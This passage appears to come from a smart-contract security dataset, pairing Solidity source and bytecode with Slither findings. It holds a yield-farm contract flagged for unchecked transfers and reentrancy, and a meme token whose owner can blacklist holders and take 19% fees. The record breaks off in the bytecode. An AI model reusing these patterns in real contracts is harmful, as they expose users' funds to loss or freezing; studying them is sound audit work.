function deposit(uint256 _amount) public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
updatePool();
if (user.amount > 0) {
uint256 pending =
user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(
user.rewardDebt
);
safeRewardTransfer(msgSender, pending);
}
if (user.amount == 0 && _amount > 0) {
factory.userEnteredFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.add(1);
}
farmInfo.lpToken.safeTransferFrom(
address(msgSender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
emit Deposit(msgSender, _amount);
}
/**
* @notice withdraw LP token function for msgSender
* @param _amount the total withdrawable amount
*/
function withdraw(uint256 _amount) public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
require(user.amount >= _amount, "INSUFFICIENT");
updatePool();
if (user.amount == _amount && _amount > 0) {
factory.userLeftFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.sub(1);
}
uint256 pending =
user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(
user.rewardDebt
);
safeRewardTransfer(msgSender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
farmInfo.lpToken.safeTransfer(address(msgSender), _amount);
emit Withdraw(msgSender, _amount);
}
/**
* @notice emergency functoin to withdraw LP tokens and forego harvest rewards. Important to protect users LP tokens
*/
function emergencyWithdraw() public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
farmInfo.lpToken.safeTransfer(address(msgSender), user.amount);
emit EmergencyWithdraw(msgSender, user.amount);
if (user.amount > 0) {
factory.userLeftFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.sub(1);
}
user.amount = 0;
user.rewardDebt = 0;
}
/**
* @notice Safe reward transfer function, just in case a rounding error causes pool to not have enough reward tokens
* @param _to the user address to transfer tokens to
* @param _amount the total amount of tokens to transfer
*/
function safeRewardTransfer(address _to, uint256 _amount) internal {
uint256 rewardBal = farmInfo.rewardToken.balanceOf(address(this));
if (_amount > rewardBal) {
farmInfo.rewardToken.transfer(_to, rewardBal);
} else {
farmInfo.rewardToken.transfer(_to, _amount);
}
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
|
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c8063b20268c211610081578063db2e21bc1161005b578063db2e21bc146102ae578063e3161ddd146102b6578063f40f0f52146102be576100d4565b8063b20268c214610229578063b6b55f2514610289578063c45a0155146102a6576100d4565b80632e1a7d4d116100b25780632e1a7d4d146101cd5780632ebed9ec146101ec5780638dbb1e3a14610206576100d4565b80631959a002146100d95780631d49d66c146101255780632dd999961461019c575b600080fd5b61010c600480360360208110156100ef57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166102f1565b6040805192835260208301919091528051918290030190f35b61012d61030a565b6040805173ffffffffffffffffffffffffffffffffffffffff9c8d1681529a909b1660208b0152898b01989098526060890196909652608088019490945260a087019290925260c086015260e08501526101008401526101208301526101408201529051908190036101600190f35b6101a461034b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101ea600480360360208110156101e357600080fd5b5035610367565b005b6101f46105af565b60408051918252519081900360200190f35b6101f46004803603604081101561021c57600080fd5b50803590602001356105b5565b6101ea600480360361010081101561024057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135916040820135169060608101359060808101359060a08101359060c08101359060e0013561065b565b6101ea6004803603602081101561029f57600080fd5b50356107c2565b6101a4610995565b6101ea6109b1565b6101ea610af9565b6101f4600480360360208110156102d457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c2c565b600e602052600090815260409020805460019091015482565b600354600454600554600654600754600854600954600a54600b54600c54600d5473ffffffffffffffffffffffffffffffffffffffff9a8b169a909916988b565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6000610371610d73565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600e6020526040902080549192509083111561040a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f494e53554646494349454e540000000000000000000000000000000000000000604482015290519081900360640190fd5b610412610af9565b8054831480156104225750600083115b156104c657600154604080517f76cb255400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152915191909216916376cb255491602480830192600092919082900301818387803b15801561049b57600080fd5b505af11580156104af573d6000803e3d6000fd5b5050600d546104c2925090506001610d77565b600d555b600061050182600101546104fb64e8d4a510006104f56003600801548760000154610dc090919063ffffffff16565b90610e33565b90610d77565b905061050d8382610e75565b81546105199085610d77565b808355600b546105349164e8d4a51000916104f59190610dc0565b600183015560035461055d9073ffffffffffffffffffffffffffffffffffffffff168486611084565b60408051858152905173ffffffffffffffffffffffffffffffffffffffff8516917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a250505050565b60005481565b6000806003600201548410156105cd576005546105cf565b835b9050600083600360060154116105e7576009546105e9565b835b60075490915081116106155760085461060c906106068385610d77565b90610dc0565b92505050610655565b60075482106106285761060c8183610d77565b60075461060c9061063a908390610d77565b60085460075461064f91906106069087610d77565b90611111565b92915050565b6000610665610d73565b60025490915073ffffffffffffffffffffffffffffffffffffffff8083169116146106f157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f464f5242494444454e0000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6106fd8982308b611185565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8b16179055600585905560068690556007839055600882905560004386106107605785610762565b435b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9a909a1699909917909855505050600a949094556000600b55600955505050600c5550565b60006107cc610d73565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600e602052604090209091506107fc610af9565b80541561084057600061083282600101546104fb64e8d4a510006104f56003600801548760000154610dc090919063ffffffff16565b905061083e8382610e75565b505b805415801561084f5750600083115b156108f357600154604080517f79cdf99b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152915191909216916379cdf99b91602480830192600092919082900301818387803b1580156108c857600080fd5b505af11580156108dc573d6000803e3d6000fd5b5050600d546108ef925090506001611111565b600d555b6003546109189073ffffffffffffffffffffffffffffffffffffffff16833086611355565b80546109249084611111565b808255600b5461093f9164e8d4a51000916104f59190610dc0565b600182015560408051848152905173ffffffffffffffffffffffffffffffffffffffff8416917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a2505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60006109bb610d73565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600e60205260409020805460035493945090926109f89216908490611084565b8054604080519182525173ffffffffffffffffffffffffffffffffffffffff8416917f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd9695919081900360200190a2805415610aeb57600154604080517f76cb255400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152915191909216916376cb255491602480830192600092919082900301818387803b158015610ac057600080fd5b505af1158015610ad4573d6000803e3d6000fd5b5050600d54610ae7925090506001610d77565b600d555b600080825560019091015550565b600a544311610b0757610c2a565b600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d6020811015610ba257600080fd5b5051905080610bc7576009544310610bbc57600954610bbe565b435b600a5550610c2a565b6000610bd8600360070154436105b5565b600654909150600090610bec908390610dc0565b9050610c0d610c04846104f58464e8d4a51000610dc0565b600b5490611111565b600b556009544310610c2157600954610c23565b435b600a555050505b565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600e60209081526040808320600b5460035483517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529351959692959194879491909316926370a0823192602480840193829003018186803b158015610cb557600080fd5b505afa158015610cc9573d6000803e3d6000fd5b505050506040513d6020811015610cdf57600080fd5b5051600a5490915043118015610cf457508015155b15610d42576000610d0a600360070154436105b5565b600654909150600090610d1e908390610dc0565b9050610d3d610d36846104f58464e8d4a51000610dc0565b8590611111565b935050505b610d6a83600101546104fb64e8d4a510006104f5868860000154610dc090919063ffffffff16565b95945050505050565b3390565b6000610db983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f0565b9392505050565b600082610dcf57506000610655565b82820282848281610ddc57fe5b0414610db9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117e26021913960400191505060405180910390fd5b6000610db983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a1565b60048054604080517f70a0823100000000000000000000000000000000000000000000000000000000815230938101939093525160009273ffffffffffffffffffffffffffffffffffffffff909216916370a08231916024808301926020929190829003018186803b158015610eea57600080fd5b505afa158015610efe573d6000803e3d6000fd5b505050506040513d6020811015610f1457600080fd5b5051905080821115610fd25760048054604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811694820194909452602481018590529051929091169163a9059cbb916044808201926020929091908290030181600087803b158015610fa057600080fd5b505af1158015610fb4573d6000803e3d6000fd5b505050506040513d6020811015610fca57600080fd5b5061107f9050565b60048054604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811694820194909452602481018690529051929091169163a9059cbb916044808201926020929091908290030181600087803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b505050506040513d602081101561107c57600080fd5b50505b505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261107f908490611520565b600082820183811015610db957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6040805173ffffffffffffffffffffffffffffffffffffffff85811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017815292518251600094606094938a169392918291908083835b6020831061126357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611226565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146112c5576040519150601f19603f3d011682016040523d82523d6000602084013e6112ca565b606091505b50915091508180156112f85750805115806112f857508080602001905160208110156112f557600080fd5b50515b61134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061182d6024913960400191505060405180910390fd5b505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff80861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd000000000000000000000000000000000000000000000000000000001790526113ea908590611520565b50505050565b60008184841115611499576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561145e578181015183820152602001611446565b50505050905090810190601f16801561148b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561145e578181015183820152602001611446565b50600083858161151657fe5b0495945050505050565b6060611582826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166115f89092919063ffffffff16565b80519091501561107f578080602001905160208110156115a157600080fd5b505161107f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611803602a913960400191505060405180910390fd5b6060611607848460008561160f565b949350505050565b606061161a856117db565b61168557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106116ef57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016116b2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611751576040519150601f19603f3d011682016040523d82523d6000602084013e611756565b606091505b5091509150811561176a5791506116079050565b80511561177a5780518082602001fd5b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815286516024840152865187939192839260440191908501908083836000831561145e578181015183820152602001611446565b3b15159056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a264697066735822122098ecbc79f19e35cce6d0060ae4107969a2f9998698840eb9497385bde0cf593964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,061 |
0x293453c85b066a90b5b655cdf2b1259b94849442
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
Shiba Eats Pizza
$HIZZA
Website: https://shibaeatspizza.netlify.app
Twitter: https://twitter.com/SHIZZA69
Telegram: t.me/shibaeatspizza
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Shizza is Context, IERC20, Ownable {
string private constant _name = "Shiba Eats Pizza";
string private constant _symbol = "$HIZZA";
uint8 private constant _decimals = 9;
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 12;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 12;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2300 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d25565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061286b565b61045e565b6040516101789190612d0a565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ea7565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061281c565b61048a565b6040516101e09190612d0a565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061278e565b610563565b005b34801561021e57600080fd5b50610227610653565b6040516102349190612f1c565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128e8565b61065c565b005b34801561027257600080fd5b5061027b61070e565b005b34801561028957600080fd5b506102a4600480360381019061029f919061278e565b610780565b6040516102b19190612ea7565b60405180910390f35b3480156102c657600080fd5b506102cf6107d1565b005b3480156102dd57600080fd5b506102e6610924565b6040516102f39190612c3c565b60405180910390f35b34801561030857600080fd5b5061031161094d565b60405161031e9190612d25565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061286b565b61098a565b60405161035b9190612d0a565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128a7565b6109a8565b005b34801561039957600080fd5b506103a2610af8565b005b3480156103b057600080fd5b506103b9610b72565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061293a565b6110c9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127e0565b61120f565b6040516104189190612ea7565b60405180910390f35b60606040518060400160405280601081526020017f536869626120456174732050697a7a6100000000000000000000000000000000815250905090565b600061047261046b611296565b848461129e565b6001905092915050565b6000655af3107a4000905090565b6000610497848484611469565b610558846104a3611296565b610553856040518060600160405280602881526020016135b760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610509611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b219092919063ffffffff16565b61129e565b600190509392505050565b61056b611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef90612e07565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610664611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e890612e07565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074f611296565b73ffffffffffffffffffffffffffffffffffffffff161461076f57600080fd5b600047905061077d81611b85565b50565b60006107ca600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf1565b9050919050565b6107d9611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90612e07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f2448495a5a410000000000000000000000000000000000000000000000000000815250905090565b600061099e610997611296565b8484611469565b6001905092915050565b6109b0611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3490612e07565b60405180910390fd5b60005b8151811015610af457600160066000848481518110610a88577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aec906131bd565b915050610a40565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b39611296565b73ffffffffffffffffffffffffffffffffffffffff1614610b5957600080fd5b6000610b6430610780565b9050610b6f81611c5f565b50565b610b7a611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90612e07565b60405180910390fd5b601060149054906101000a900460ff1615610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610